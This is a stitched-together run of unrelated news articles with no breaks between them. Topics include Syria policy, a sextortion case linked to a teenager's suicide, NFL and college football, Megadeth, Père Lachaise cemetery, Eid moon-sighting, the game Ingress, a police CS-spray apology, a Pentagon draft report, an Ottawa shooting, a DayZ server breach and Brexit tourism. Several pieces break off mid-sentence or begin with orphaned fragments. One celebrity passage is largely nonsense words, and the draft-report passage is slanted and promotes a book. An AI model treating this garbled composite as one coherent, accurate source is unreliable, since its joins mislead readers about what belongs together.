The delay of the destruction of Syria’s chemical weapons stockpile and escalating violence by Syrian President Bashar Assad’s regime have made the situation much worse in recent weeks, McCain added. If the U.S. doesn’t change the outcome now, the tensions in Syria could spread into a regional conflict that would draw the United States in no matter what, he added.
“I do not believe we are out of options; there are many options, if we have the courage to pursue them,” the senator said.A man has been charged with the blackmail of a 17-year-old schoolboy from Co Tyrone who took his own life after being duped into sending intimate photos of himself over the internet.
Ronan Hughes (17) killed himself in June 2015 after learning that individuals he met online had followed through with a threat to send images of him to one of his Facebook friends unless he paid them £3,300.
The Police Service of Northern Ireland (PSNI) said on Friday that a 31-year-old man has appeared at Bucharest Municipal Court, Romania, charged with producing and distributing indecent images of children and blackmail.
The PSNI confirmed the charges were connected to an investigation into “webcam blackmail” linked to the death of Ronan Hughes. The 31-year-old has been remanded in custody.
The PSNI said it had been liaising with a number of agencies in a variety of jurisdictions, including Policia Româna (Romanian Police), the Directorate for Investigating Organised Crime and Terrorism in Romania, the National Crime Agency, and Europol.
Detective Superintendent Gary Reid from the PSNI’s Reactive and Organised Crime Branch, said: “Detectives from the PSNI are currently in Romania assisting our colleagues with this phase of the investigation.
“This has been complex and protracted and we are grateful to our colleagues in our partner agencies for their assistance to date. As legal proceedings are now ongoing, it would be inappropriate to comment further at this stage. However, I would like to take this opportunity to remind everyone in Northern Ireland to be mindful of their online activity, particularly with strangers.”
Gerard and Teresa Hughes, Ronan’s parents, said their “quiet, happy-go-lucky” child had been tricked into sending images on a social network site after receiving pictures of a girl.
Ms Hughes said her son, a pupil at St Joseph’s Grammar School in Donaghmore, confided to her near midnight three days before he died. “He came to me and said, ‘I’m in trouble here’,” she said in an interview after his death.
“He gave me his phone. They were looking for more than £3,000 for an image he had posted and told him they were going to show it to all his friends. They had sent him a list of all his Facebook friends. He texted them back to say, ‘but I’m only 17’.”
Mr Hughes brought his son to a PSNI station at Dungannon immediately, but he said there was only one officer on duty at that time of the night and he said there was not a lot he could do.
“I knew Ronan was looking for help and I told him (the officer) that all my son wanted is for these images not to be posted. He told us that he couldn’t guarantee that.
“For Ronan, it was totally dismissive. If the police had given Ronan reassurance and said, ‘we’ll contact IT experts, we’ll close this down, we’ll stop that’, Ronan would still be here today. That’s why he came to us. He wanted help.”Free-agent defensive end Chris Long has agreed to a one-year deal with the New England Patriots, a source told ESPN's Trey Wingo.
The agreement with Long comes on the heels of New England trading Pro Bowl defensive end/outside linebacker Chandler Jones to the Arizona Cardinals for guard Jonathan Cooper and a 2016 second-round draft pick.
In a tweet Tuesday night, Long expressed his gratitude for the opportunity to join the Super Bowl XLIX champion Patriots.
This is an opportunity and I am so thankful!!! Whatever it takes!!! See you soon Boston. GO PATS 👊🏻 — Chris Long (@JOEL9ONE) March 16, 2016
Long, the second overall pick in the 2008 draft, started 95 of his 114 games with the Rams and compiled 54½ sacks, 41½ of which came between the 2010 and 2013 seasons, which ranked fifth in the NFL over that period. But over the past two seasons, Long, who turns 31 on March 28, had only four sacks as he battled injuries.
Editor's Picks Addition of Chris Long caps off intriguing day for Patriots The Patriots had a busy Tuesday, trading pass-rusher Chandler Jones to Arizona for Jonathan Cooper and a second-round pick, then signing Chris Long.
He was a casualty of the Rams' purge on Feb. 19, when the team cut him along with veterans James Laurinaitis and Jared Cook to save nearly $24 million in salary-cap space. Long had signed a four-year extension with the Rams before the 2012 season that was worth $48.2 million, and his salary-cap hit ranked among the top seven at his position from 2012 to '15.
Tied with Laurinaitis as the Rams' longest-tenured players, Long won over teammates and coaches with his leadership skills and professional approach.
Defensive end Chris Long had 54.5 sacks in 114 career games with the Rams but only four sacks over the past two seasons. Pat Lovell/USA TODAY Sports
While the Patriots lost a top pass-rusher in Jones, they are still deep at the position with Jabaal Sheard, Rob Ninkovich, 2015 draft picks Geneo Grissom (third round) and Trey Flowers (fourth round) and now Long.
Long, the son of Hall of Famer Howie Long, had previously met with the Falcons and Redskins before he met with the Patriots. He agreed to join the Pats ahead of a reportedly scheduled visit to the Cowboys.
ESPN Rams reporter Nick Wagoner and Patriots reporter Mike Reiss contributed to this report.Nick Marshall knee
Auburn defensive tackle Montravius Adams (1) and Auburn quarterback Nick Marshall (14) walk off the field after warmups Saturday, Oct. 12, 2013, at Jordan-Hare Stadium in Auburn, Ala. (Julie Bennett/[email protected])
AUBURN, Alabama -- Auburn quarterback Nick Marshall practiced at full speed Sunday night as the Tigers entered an important week in the SEC schedule.
The injured starter did not play in the Tigers' 62-3 victory Saturday against Western Carolina but was available in an "emergency role" if needed, offensive coordinator Rhett Lashlee said.
Marshall did not practice late last week but took "mental reps" and Lashlee expects him to be "ready to rock and roll" when No. 24 Auburn (5-1, 2-1 SEC) full preparations for No. 7 Texas A&M (5-1, 2-1) on Tuesday. The Tigers practiced in shorts and helmets late Sunday.
"Yeah, that was a great feeling seeing him out there today running like nothing ever happened," running back
Corey Grant
said Sunday. "He's not limping or anything. He looks great."
Marshall injured his right knee in the second half of the Tigers' 30-22 victory against then-No. 24 Ole Miss on Oct. 5.
"We've got full confidence in him and he's gotten better each week," Lashlee said of Marshall's improvement at quarterback. "And our team has full confidence in him."
True freshman Jeremy Johnson started in Marshall's spot against the Catamounts but will remain as a backup and could see more time in package plays in some games. He was an impressive 17-of-21 passing for 201 yards and four touchdowns with one interception. Marshall was "80 percent" healthy going into the Western Carolina game, Lashlee and Johnson said.
Marshall's teammates expect Marshall to start and Lashlee sounded confident the junior will return Saturday against the Aggies.
"He practiced tonight full speed and he looked good," Lashlee said. "I wouldn't have known there was anything wrong with him."
Last week "was more about getting him rested and full speed," Lashlee explained.When it comes to pip blips, Megan Fox takes the cake. Case in point.
Woah! Looks like Keira Knightley ordered up an extra-large order of pip blip, with extra pip.
That’s a SERIOUS pip blip!
Perpetually blip-prone actress Christina Aguilera has a major pip-up while stepping out with gal-pals in New York. Blipped again.
Melissa McCarthy wasn’t afraid to let a pip blip on the red carpet. Talk about a mip trip!
Forget about pip blips. Check out the chip sip on Laura Dern.
What’s flipping hot, has yip-a-licious snips, and rhymes with Plennifer-Ganiston-quip-whip? Why, a Jennifer Aniston pip blip, of course! And none too wibbly, either!
Hold on a sec…is that a kip gip plip or a hip sip tip we’re seeing?
What’s a pip-loving flip-gripster like TV legend Alan Alda doing at a notably blipless film premiere? Why, breaking out a diptastic blipshow, of course! A mip to that tip!Mike
Megadeth has promised to return to their thrash metal roots with their upcoming album and this is our first listen to it with their release of “Fatal Illusion.” Their yet untitled 15th studio album is the follow-up to 2013’s Super Collider.
“There’s a lot of riffing going on in there, that’s for damn sure,” Dave Mustaine told Revolver in regards to the new album. “There’s a lot of solos, a lot of pounding drums and bass. I knew from the start that I wanted to go back to my roots, and I wanted to make a thrash record.”
Megadeth Fatal Illusion
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Megadeth New Album Tracklisting
01. Death From Within
02. Fatal Illusion
03. Conquer… Or Die!
04. Lying In State
05. Me Hate You
06. The Emperor’s New Clothes
07. Dystopia
08. Bullet To The Brain
09. Last Dying Wish
10. Post American World
11. Look Who’s Talking
12. The Threat Is Real
13. Poisonous Shadows
14. Melt The Ice Away (Budgie cover)
15. Foreign Policy (Fear cover)
Official Megadeth Sites
Stay up-to-date on the upcoming new album at http://system.megadeth.com
http://twitter.com/Megadeth
http://Facebook.com/Megadeth
http://instagram.com/megadeth
http://megadeth.comThe fifth most popular attraction in Paris celebrates its 200th anniversary this month rather regretting the pulling power of its better-known residents - and fed up with the behaviour of their fans.
The Père Lachaise cemetery, the vast, Gothic and often tumbledown final resting place for nearly 1 million souls, drew more than 2 million visitors last year, behind only Notre Dame, the Eiffel tower, the Louvre and the Pompidou centre on the city's must-see list.
The tombs of some of its denizens - Chopin, Edith Piaf, Molière, Bizet, Oscar Wilde - are redoubtable tourist magnets, but for the cemetery's 100 staff it means extra work to keep the cemetery clean and clear of litter, graffiti and at times unorthodox tributes.
All are eclipsed by the necropolis's biggest draw, however: the gravestone of Jim Morrison. Christian Charlet, who is responsible for the cemetery and its 70,000 tombs, would happily do without the Doors frontman, who passed out in his bath (and into legend) in Paris in July 1971.
"We'd like to kick him out, because we don't want him, he causes too many problems," Mr Charlet told Reuters news agency. "If we could get rid of him, we'd do it straight away." Unlike many of the tombs, Morrison's is on a perpetual lease.
Père Lachaise has had to hire a security guard to watch over the singer's last resting place. Fans still queue to take a picture, mutter a few words or lay something - a flower, a note, a candle, a cigarette butt - on his tomb. Before the guard's appointment, they would converge to smoke pot and (it is whispered) have sex.
A couple of years ago, things got so bad that relatives of some unfamous Frenchmen buried nearby got up a petition to ask for the body to be exhumed and sent home. "People come here not to worship the dead, but think they can do what they want, as if it was a rave party," said Mr Charlet.
Père Lachaise's current popularity is in contrast to its early days, when the cemetery - which opened in May 1804 - was given the cold shoulder by Parisians accustomed to their dead being tossed into common graves. An 1817 advertising campaign, and the transfer to the site of Abelard, Heloise, Molière and La Fontaine, made little difference, and it was not until Balzac featured the cemetery in his 1835 novel, Le Père Goriot, that it became fashionable to buy a plot.
The cemetery, a vast park in north-east Paris, spread over 44 hectares (109 acres) and boasting 6,000 trees, also holds the remains of Proust, Balzac and Simone Signoret.
The most-visited (and vandalised) grave after Morrison's is that of Wilde.
The author's towering memorial features a very obviously male angel. Soon after Wilde was buried in 1900, a former headkeeper, out of deference to local feeling, castrated the sculpture and for years used the testicles as a paperweight.
Despite a plaque reading "Respect the memory of Oscar Wilde and do not deface this tomb", the vandalism continues: a tradition has arisen of planting purple lipstick kisses on Wilde's tombstone.
Cemetery stonemasons say that marker-pen graffiti can be cleaned off, and scratched messages rubbed down with sandpaper, but lipstick contains fats which sink into the stone and cannot be removed.
Even some non-celebrities' gravestones attract attention: the statue of Victor Noir, a dashing young journalist killed in 1870, has become a fertility symbol, its crotch rubbed to a brassy shine by women seeking to increase their chance of conceiving.UPDATE: 3:51 PM, August 6
The new moon was not sighted on Tuesday, says Saudi Arabia's Supreme Court, which met on the evening of August 6th to determine whether Ramadan had ended. The court will meet again on Wednesday. This means that Eid ul-Fitr will not be celebrated on Wednesday, August 7th, but will probably be on Thursday, August 8th.
Previously:
The Supreme Court of Saudi Arabia will meet on Tuesday evening to hear from people who may have sighted the moon, an announcement that has startled many scholars worldwide as it would mean that this year's Ramadan would have lasted only 28 days instead of the requisite 29 or 30 days.
The statement by the court implied that there had been an error with the July 10th start date of this year's Ramadan, and that the holy month of fasting should have started on July 9th instead. Saudi newspapers on Monday quoted a statement from the Supreme Court that encouraged members of the public to sight the Eid moon on Tuesday night.
Religious scholars reacted to the news with surprise and some disagreement, as a Tuesday evening moon-sighting would indicate a mistake in the start date of Ramadan.
In a recent report, prominent Qatari Islamic scholar Sheikh Ali al Qaradaghi said on Twitter that it was impossible for the new moon to be sighted tonight in Saudi Arabia.
According to Emirates 24/7, “Sighting the moon tonight is very unlikely and I expect Eid Al Fitr to start on Thursday,” said Sheikh Saad al Khathlan, a member of the seven-man Supreme Scholars Committee, the Kingdom’s top Islamic authority created by King Abdullah. “I disagree with those who say there was a mistake in the start date of Ramadan. The crescent was not sighted on Monday night July 8 so this means Shaaban was 30 days and Ramadan started on July 10. I agree with astronomical calculations which confirmed that Ramadan began on Wednesday July 10.”
Sheikh Adel al Kalbani, the former Imam of the Grand Mosque commented, "It is not acceptable that we sight the moon on Tuesday night as today is Ramadan 28. Determining the beginning and end of the fasting month must be subject to Sharia (Islamic law). The Supreme Court statement makes me wonder whether we have fasted in line with Sharia. If the answer is yes, then the moon should not be sighted tonight.”
Bahrain's Islamic Affairs Council also announced the possibility of a Tuesday moon-sighting, though Qatar's Ministry of Awqaf and Islamic Affairs said it would seek the new moon on Wednesday or Thursday night.
However, a 28-day Ramadan is not without precedent, as it happened about 30 years ago in 1984 (1404 Hijri calendar), when the start date of Ramadan was incorrectly calculated, admitted the supreme cleric authority of Saudi Arabia to Gulfnews.
How does this affect religious observance? Tradition forbids Muslims from fasting on the first day of Eid, so in 1984 Muslims were encouraged by Saudi Arabian clerics to make up the day of missed fasting by either fasting after Eid, or by feeding 10 poor people.ASHBURN, Va. -- The Washington Redskins already need a new defensive coordinator. It might be that they’ll need a new offensive coordinator as well. Sean McVay already has interviewed with Los Angeles and has another one planned with San Francisco for their head coaching vacancies.
His age works against him; other factors are in his favor. McVay turns 31 on Jan. 24, so the big question will be how much that matters to teams. (Speaking of Redskins defensive coordinators: Washington has received permission to interview Carolina defensive backs coach Steve Wilks. That's not surprising given the interest stated in him from the start).
Sean McVay's offensive scheme has helped Kirk Cousins flourish as the Redskins' starting quarterback. AP Photo/Alex Brandon
Three reasons why McVay is an interesting candidate despite his youth:
Experience: McVay might only be 30, but he’s been around the game longer than most who are older. He’s described as “30 going on 45” by people who know him well. McVay’s grandfather worked for the San Francisco 49ers from 1979-95, including as the vice president/director of football operations for 12 of those years. McVay spent a lot of time with him. And he’s been in the NFL since 2008 (except for one year when he was an assistant in the United Football League). He’s been the Redskins’ offensive coordinator since for three years. Kirk Cousins deserves the bulk of the credit for his growth as a quarterback, but the coaches deserve praise, too. McVay has worked with him for three years and the offensive design -- combined with the talent -- should help any quarterback. It's a good system.
Interviews well: Those who know McVay best say they’re confident in how well he’ll handle interviews. Naturally, the word is that his interview with the Rams went well Thursday. Typically that’s what you’ll hear with most coaches interviews, but with McVay it’s believable. He has never come across as someone who is young or out of place in his role. During media sessions, McVay doesn’t always say a whole lot, but he sounds good saying it and he speaks well. He’s a little like how Derek Jeter was with the Yankees: Say enough to somewhat satisfy, but nothing controversial, and move on. The point: He has some polish. It will be different for him when he must answer questions about both sides of the ball, but he’s really good at staying on message.
Approach: Multiple players, but especially the quarterbacks, have all said the same thing about McVay. He’s as detailed a coach as they’ve been around. Backup quarterback Colt McCoy said McVay and quarterbacks coach Matt Cavanaugh “are two of the most detailed guys I’ve been around. They give us extra notes. They have great ideas of how we’re supposed to play. Sean has a specific way he wants things done. He’s very detailed. We’re always prepared.” Knowing McVay, he will take that same approach to interviews, which is why those close to him have known he’d do well in these settings.Early last summer, at 3 a.m. in the South Bronx, an agent named D Skully was getting frustrated. Staring into a black-and-green grid on his smartphone, he attempted to secure a target for his team — but every time he thought he'd nabbed it, it'd get stripped away. He looked around; nobody else was out.
Suddenly, D Skully spotted a girl's face illuminated by the light of her phone screen in a small car parked down the street. As she remembers it, he went and knocked on her window to confront her, and as soon as she was caught, the car peeled off.
The two of them were playing Ingress, an alternate reality game (or ARG) run by a Google startup called Niantic Labs. Ingress is like a giant game of Risk or Capture the Flag, only the game board is the entire world. The goal is to capture as many "portals," or in-game waypoints and locations, and hold them for your team for as long as possible.
Except unlike other mobile games, Ingress players — known as agents — have to run around city streets, parks, alleys and backcountry destinations in order to win. The game is played by millions of people, and if you're in a major metropolitan area, chances are that Ingress players are all around you.
Ingress/YouTube To play Ingress, players have to move around their local neighborhoods and find "portals" to capture them for their team.
So how do you play? Ingress is played entirely through a free app for both Android and iPhone. Players are divided into two factions — the Enlightenment (the green team) and the Resistance (the blue team) — and they run around the city, collecting keys, weapons and upgrades, and capturing portals for their faction.
Each portal is tied to a real-life landmark: a famous sculpture, popular storefront, train station, whatever. But players are tracked via GPS, and to capture a portal, a player needs to be physically near that landmark. So if you want to capture the local bus stop across town for your team, you've got to put sneakers to pavement.
Control for cities and portals is measured in daily cycles worldwide, and each captured portal contributes to your team's global score. Triangulating and linking portals for your team lets you set up control fields, which rack up more points for your faction.
Ingress/Youtube Linking portals together creates a "control field."
Ingress is played around the world, and John Hanke, the head of Niantic Labs, told Mic that Ingress is growing not just in the U.S. but in Europe, East Asia, India and the Middle East — anywhere with reliable public transportation and large groups of people who congregate outside.
The game has been downloaded more than 11 million times in its two-year history. Hanke says there are currently more than 1 million daily active players. Take over a portal in a city as densely populated as New York, and you can bet that by the end of the day you'll get a push notification telling you it's under attack.
For example, this is what midtown Manhattan looks like at any given time. By the time you're reading this, many of the portals, if not all of them, will have changed hands.
Source: Mic/Ingress
Niantic Labs is a small company, and Ingress is supported by a staff of fewer than 100 employees. They keep the game running, communicate with local communities, build the in-game storyline and release regular battle-report videos. To run the game, though, Niantic looks to the active Ingress community to submit suggestions, coordinate teams and even create the portals.
"There's no way to have a team large enough to craft a game across the world, so we have people identify the important places in their world," Hanke said. "Nobody is going to know the neighborhood as well as the people who live there."
The Ingress community is thriving. A New York gamer named Daniel, whose "agent name" is Landieaccem, told Mic he started playing when Ingress was still in beta testing. There were almost no other players holding it down in his home neighborhood of East Harlem, so he immediately started submitting portals and aggressively defending his territory.
A beginner, he'd claimed an enormous swath of land from 106th Street to 124th Street. Eventually, someone took notice.
"A couple of agents contacted me, and they invited me for a couple of drinks," Daniel said. "There was this moment, like, 'How far down does this rabbit hole actually go?'"
That's when David was pulled into the Ingress scene in the New York area. For more than two years, the local factions have run around the city largely unnoticed by both bystanders and press. Meanwhile, David and hundreds of others have coordinated meet-ups, gaming events and coordinated assaults against the Resistance forces in New York, where there's a friendly rivalry.
"There was this moment, like, 'How far down does this rabbit hole actually go?'" Tweet
Ingress players think of themselves not as a gaming group but a community that's in touch with one another every day. The Ingress players Mic spoke to go out for drinks, visit one another in their homes, attend one another's birthdays and college graduations — they build lasting relationships. Outside the city proper, on the suburban peripheral of the community, Ingress agents cruise around at night, drinking beers and capturing portals in groups from their car windows.
How about D Skully from the South Bronx? He and that girl he confronted, an agent named VodkaNotWhine, became friends in the year that followed. They attended the same bar crawls and karaoke nights.
Agents also travel. Niantic regularly hosts "anomalies" — regional events where players from around the globe descend on a single city for a day-long assault. Local factions from around the country might send small groups, with local leaders coordinating their respective team and lending their collective firepower. Anomalies draw hundreds of carpooling Ingress players at a time.
A group of players meet in Philadelphia to coordinate before a Niantic-sponsored event. Players were organized into small teams and specific roles while a group of strategists watched the live map of the territory remotely and gave advice. Jack Smith IV/Mic
This is how Ingress players become so connected to their gaming environment — that is, the world around them. Since Ingress requires a lot of movement, and portals are tethered to visible landmarks, players incidentally end up discovering their neighborhoods in a new way.
It's all about exploration: Mic spoke to players who used Ingress while on vacation in Europe and Asia to get to know the neighborhood while fighting for their factions. Discovery is at the core of why Hanke, who previously lead the team behind Google Earth, built Ingress in the first place.
"The classic Google Maps experience is really about navigation, but how do you unearth little gems in a neighborhood?" Hanke said. "The [Ingress] game mechanic is there as an incentive, and it nudges people to get out, meet new people and discover new places."
Most recently, Niantic added a feature to Ingress that allows players to build and submit missions for other users. Visit neighborhoods like Sunnyside, Queens, and Ingress will take you on an objective-based walking tour of local landmarks and lunch spots; you can explore the real world while scoring for your faction.
In East Harlem, one player has used Ingress' mission-creation feature to build gamified guides to discovering the forgotten storefronts, churches and places of worship in the neighborhood — places that would be easy to overlook if your head were in your phone for any other reason.
Ingress is one of the earliest popular example of "augmented reality." Where virtual reality gives us goggles so that we can see an entirely different world, augmented reality uses cameras, phones, tablets and goggles to add things to the world we live in.
Google Glass, which could do things like translate street signs into your native language or overlay map information in front of your eyes as you traveled, was a largely unsuccessful first pass this concept. But a number of other AR experiments have popped up in the past year or so: U.S. Marines recently used augmented reality glasses to turn a golf course into a battlefield so that they could train in safety; Jaguar showed off a hypothetical car windshield that could overlay navigation and hazard information as you drive.
The next wave of augmented reality: Niantic Labs is planning on launching a whole series of AR games in the next year. But augmented reality has the potential to grow beyond gaming: It could affect labor, the economy, shopping and even education.
Intel recently debuted a line of 3-D-camera-enabled devices that let you see and manipulate digital objects in real spaces. It's easy to imagine a small group of children in a classroom looking through glasses and seeing the solar system in the middle of the room that they could navigate, explore and manipulate, right there in front of them.
"When we started Niantic Labs, the heads-up display in Iron Man was an inspiration," Hanke said. "In our vision of the future, that's what's going to happen, because it's so incredibly useful to have annotations about the real world available to tell you who likes that restaurant or what the history of a building is."
But for the agent Daniel, Ingress doesn't resemble some radical technological future so much as it does the past. Ingress is the way he remembers New York City in the 1980s, when people were out on the streets without phones, making their presence known and leaving a mark on the city.
"When I throw up a control field, it's like throwing up a 14-foot graffiti burn on the side of a building," he said. "It's me, representing my presence in this world. Here."Britain's most senior police officer has been compelled to apologise to a group of protesters after admitting that one of his officers used excessive force when he unlawfully sprayed CS gas into their faces at close range.
Sir Bernard Hogan-Howe, the commissioner of the Metropolitan police, admitted that the CS spray caused the protesters intense pain, fear and panic.
Hogan-Howe also apologised for preventing the campaigners against tax avoidance from "exercising their fundamental right to protest". The Met twice failed to properly investigate the use of the CS spray in a crowded area.
The commissioner issued the apology, coupled with compensation, after the six protesters sued the Met over use of CS spray during a UK Uncut protest in Oxford Street, London. The protesters' lawyer, Lochlinn Parker of Deighton Pierce Glynn, criticised the force for taking more than three years to concede that "this shameful episode of excessive policing should never have happened".
In January 2011, the six took part in a protest against Boots over tax avoidance. During the protest police officers arrested a woman after she pushed a leaflet through a gap in the closed door of a Boots store. They took her to an alley as protesters followed shouting "shame on you" at the officers, when one of them suddenly sprayed them with CS.
Mike Firth, one of the six, has described how he fell to the ground blinded and could not breathe. "I was in shock, I didn't know what had happened … It was really painful and no amount of coughing or crying could get rid of it." He said that he later felt "really depressed" that "something so peaceful and happy had turned into something so ridiculously nightmarish".
Another protester, Stephen Reid, heard screaming before his eyes started to burn. Later that day, he gave his girlfriend "a hug as I told her what had happened and her cheek started burning".
Mike Firth after being sprayed in face with CS gas outside Boots in January 2011. Photograph: Donnacha DeLong
The officer, PC James Kiddie, had said that he had used the CS spray to drive back the protesters as he feared for the safety of himself and other officers: "The crowd surge was terrifying and we were heavily outnumbered."
However, an investigation by the police watchdog, the Independent Police Complaints Commission, found that apart from some protesters pulling at the arrested woman, there was no evidence from footage of the incident that "any of the protesters had attempted to physically attack any of the officers".
The watchdog ruled that Kiddie had broken police rules that recommend that CS should not be sprayed within one metre of targets as it can damage the eyes. The IPCC also found that the police failed to monitor the health of the protesters after they had been sprayed, as they were required to do under police rules.
In settling the legal action, Hogan-Howe said he apologised to the protesters for the actions of Kiddie and for the delay in the resolution of their complaints. "We accept that PC Kiddie's actions amount to excessive force and as such were unnecessary and unlawful. We also acknowledge that his use of CS spray caused you, variously, intense pain, momentary loss of sight, and feelings of panic and fear."
He added that in March, an internal disciplinary hearing had found that Kiddie had used unlawful force against the protesters. Hogan-Howe apologised that this verdict had only been reached after the protesters had lodged their complaint with the IPCC after it had been dismissed by two internal Met inquiries.
The commissioner admitted to the protesters that this "delay … exacerbated your distress arising from these events. We acknowledge … that these events should never have happened."
Parker added: "The Met, and other police forces, will only be trusted by protesters if they are transparent and accountable, and we hope that this case will be part of the process that changes how the Met reacts when things go wrong."
A Met spokesman confirmed that the force had "agreed a claim for damages from six members of the public in connection with the use of CS spray by an officer, PC James Kiddie, at a demonstration in Oxford Street in January 2011. A letter of apology from the commissioner will be sent to each of the claimants."A new Pentagon report that recommends including women in the Selective Service registration for any future draft includes a backhanded admission that females cannot meet the same combat standards as men.
The “Report on the Purpose and Utility of a Registration System for Military Selective Service” concludes the present volunteer military is serving the nation’s needs, but it says a draft always should remain an option because of the potential for future threats.
The report aligns with the Obama administration’s use of the military for social experimentation, with women in combat and tip-of-the-spear roles previously occupied by men, allowance of transgenders, open homosexuality and more.
It means that while President Trump has moved away from such experimentation, the holdovers from the previous administration still have authority.
The new report states: “Under current law, women may serve voluntarily in the U.S. Armed Forces but are not, and never have been, required to register for selective service. Since the ban on women in combat was lifted [by Obama], the merits of including women in the requirement to register for the draft have been hotly debated in the media and in the halls of Congress.”
The Pentagon says it “appears that, for the most part, expanding registration for the draft to include women would enhance further the benefits presently associated with the selective service system.”
“Opening registration to all members of the population aged 18-25 – regardless of gender – would convey the added benefit of promoting fairness and equity not previously possible in the process and would comport the military selective service system with our nation’s touchstone values of air and equitable treatment, and equality of opportunity.”
Why is all this happening? In his widely acclaimed book “The Snapping of the American Mind,” award-winning journalist David Kupelian stunningly documents – in a chapter titled “Gender Madness” – precisely what the transgender phenomenon is all about. Prepare to be shocked.
However, critics of Obama’s social engineering repeatedly |
happens if the struggling actor decides to break bad.Ottawa
British military officer in Ottawa for shooting contest wounded in drive-by
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Military officer, second shooting victim were not intended targets: police
Click to show more Ottawa police are investigating a shooting that happened early Thursday morning in a parking lot at the Kanata Centrum Shopping Centre. 0:28
A British military officer visiting Ottawa to participate in a military shooting competition was injured in a drive-by shooting at the Kanata Centrum Shopping Centre early Thursday morning, Military Police say.
Ottawa police were called to a parking lot off Roland Michener Drive, near the Crazy Horse bar, just after 2 a.m. Thursday.
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A 28-year-old man suffered a serious gunshot wound in the leg, Ottawa police said. Paramedics took him to hospital, where he was listed in stable condition later Thursday morning.
A 22-year-old man also suffered a minor gunshot injury, Ottawa police said.
Both shooting victims were not the intended targets, Ottawa police said in a tweet Thursday afternoon.
Shooting competition in Shirleys Bay
Sgt. Jeff Williams — part of the Ottawa unit of the Military Police, which enforces laws and regulations on Canadian Armed Forces establishments in Canada and abroad — said Thursday that Military Police are assisting the Ottawa police guns and gangs unit in the investigation.
The 28-year-old victim is a British military officer visiting Ottawa to participate in a military shooting competition at Connaught Ranges and Primary Training Centre in Shirleys Bay, not far from Kanata.
The Canadian Armed Forces Small Arms Concentration match started Sept. 4 and ends Saturday.
The victim was at the Crazy Horse bar before the shooting took place, Williams said, and was "caught in the crossfire."
Anyone with information is asked to call the Ottawa police guns and gangs unit at 613-236-1222, ext. 5050. Anonymous tips can be submitted by calling Crime Stoppers toll-free at 1-800-222-8477 (TIPS).The Earthquakes have qualified for the MLS Cup Playoffs for the first time in five seasons. Now what?
In their first postseason test since 2012, the Quakes (13-7-14) will travel to BC Place to take on the Vancouver Whitecaps (15-7-12) at 7:30 p.m.. It’s the Quakes second trip to British Columbia in a little more than a week and will be played on a short three-day turnaround after the thrilling Decision Day win over Minnesota United FC to reach the postseason.
It’s a winnable game for both sides. The Quakes are riding a wave of positive emotion after finally conquering their playoff-qualifying demons and the Whitecaps are loaded front to back with quality MLS players.
While it’s a road matchup for the Quakes, a situation which has caused them problems nearly all season (11 road points in 2017, second worst of MLS playoff teams), the Whitecaps have not been much better at home (32 points, worst of MLS playoff teams).
With the home-field advantage...Share. The attack could open the doors to all sorts of cheats and exploits. The attack could open the doors to all sorts of cheats and exploits.
Bohemia Interactive has confirmed an attack on its servers, with a hacker posting screenshots of what he claims to be DayZ source code on a game-hacking forum.
Though the original forum thread has now been removed, it has since been mirrored on Reddit. A user going by the name DevDomo posted a slew of screenshots of what he claimed to be the survival-shooter's source code files, as well as a brief description of how he accessed the servers.
Exit Theatre Mode
Bohemia Interactive confirmed to Rely on Horror that an attack had been "detected," and that "the precise nature and scope of this attack is currently being extensively investigated."
Bohemia assures that no user data was accessible on the attacked servers, and that the ongoing development schedule has not been affected.
Nevertheless, the situation is worrying as it may open up the possibility of new hacks and exploits becoming available for DayZ. IGN will be keeping an eye on future developments.
DayZ started life as a hugely popular ArmA 2 mod. Its standalone release is now in the early-access development stage, and has already passed 2 million sales.
Katie Williams is a freelance writer and games journalist. She tweets at @desensitisation and hopes that one day, a bird will tweet back.Image copyright Getty Images Image caption Could a weaker pound see more families building sandcastles on British rather than European beaches?
More of us could be spending this summer holidaying at home following the UK's Brexit vote, as the weaker pound makes foreign holidays more expensive.
Amid economic uncertainty over Britain's relations with the EU, the country's tourist industry could be one of the sectors to see a boost to business following the referendum result.
"I think that a weaker currency, particularly the pound versus the euro, is good news for tourism in this country," says Nick Varney.
He's chairman of the British Hospitality Association and chief executive of Merlin Entertainments, which runs the Legoland theme park, and Madame Tussauds in London.
Image copyright Getty Images Image caption Tourism is the UK's fourth largest industry
"Historically it's been the case that when we see the pound reach 1.4 euros, we see a falling off in the number of foreign visitors," he says.
When the pound falls, the reverse is true and the UK becomes cheaper and more attractive to overseas tourists.
"Things need to settle down, but if sterling does stabilise at a more competitive rate - that will be good for an industry which is vital for the UK," he says.
And his view that with sterling now worth less, UK tourism could be one of the clear winners from Brexit is echoed by others in the industry.
"A big percentage of our overseas visitors come from EU countries, so it will be cheaper for them," says Barbara Clark, of Scotland's tourist agency, Visit Scotland.
Belgian business entrepreneur Peter Schellinck told the BBC he was planning more visits to the UK thanks to the weaker pound. "This makes it much more attractive to me to come to Britain."
Holidaying in the UK
Image copyright Getty Images
Tourism is one of the country's biggest earners, worth £121.1bn a year
It accounts for 7.1% of the UK's economy, according to the industry body, the Tourism Alliance
Almost four million people work in the sector
Nine million holidaymakers came to the UK from the EU last year, says the travel agents group Abta
They account for 44% of all overseas visitors spending in the UK - £9.5bn a year
Long term moves
Jim Forward, chief executive of HF Holidays, the walking and outdoor leisure specialist which runs holidays in the UK and abroad, says it is the longer-term value of sterling which is key.
"In previous years currency fluctuations have created a slight movement in the number of inbound or outbound passengers depending which way the currency has moved.
"In a book-in-advance travel business where our guests book up to a year in advance, we are affected less by sudden currency movement but more through long-term change," he says.
"Like all tour operators we will be watching the long-term currency forecast to plan and adapt our holidays."
Image copyright Getty Images Image caption Beatrix Potter is a key attraction for many Japanese visitors who come to the UK
Yet, not everybody is convinced that Brexit will prove to be that relevant to them.
Center Parcs UK, which runs five holiday villages in Britain, says it regularly has significant over-demand, and "our villages are full all year round".
And while some of us may be changing our plans for the summer - especially if we've yet to book - those who have already paid for their overseas trips are unlikely to alter things just because their spending money will not now go as far.
Hotel vacancies
There is also a question mark over just how much the UK's domestic tourism industry will be hit by a fall in business travellers - always more important for many hotels than leisure visitors.
"Hotels need almost twice as many new leisure visitors to make up for business travellers who've cancelled," says Stephen Broome, lead hotel consultant at PwC.
"That's because hotels earn a lot more from corporate guests than they do leisure travellers."
The weakening pound will help draw in new business, he says, but it is not going to be enough to replace the corporate travellers who're no longer coming to the UK as the political uncertainty sees businesses putting plans on hold.
Image copyright Getty Images Image caption Fewer business travellers are coming to London as companies scale back on their plans
"UK hotels face a slow down, not a meltdown. Since last year demand for hotel rooms has been slowing - particularly in London - due to nervousness on the part of business travellers."
But while this may be bad news for hotels, there's a silver lining if you're looking for a cheaper hotel room.
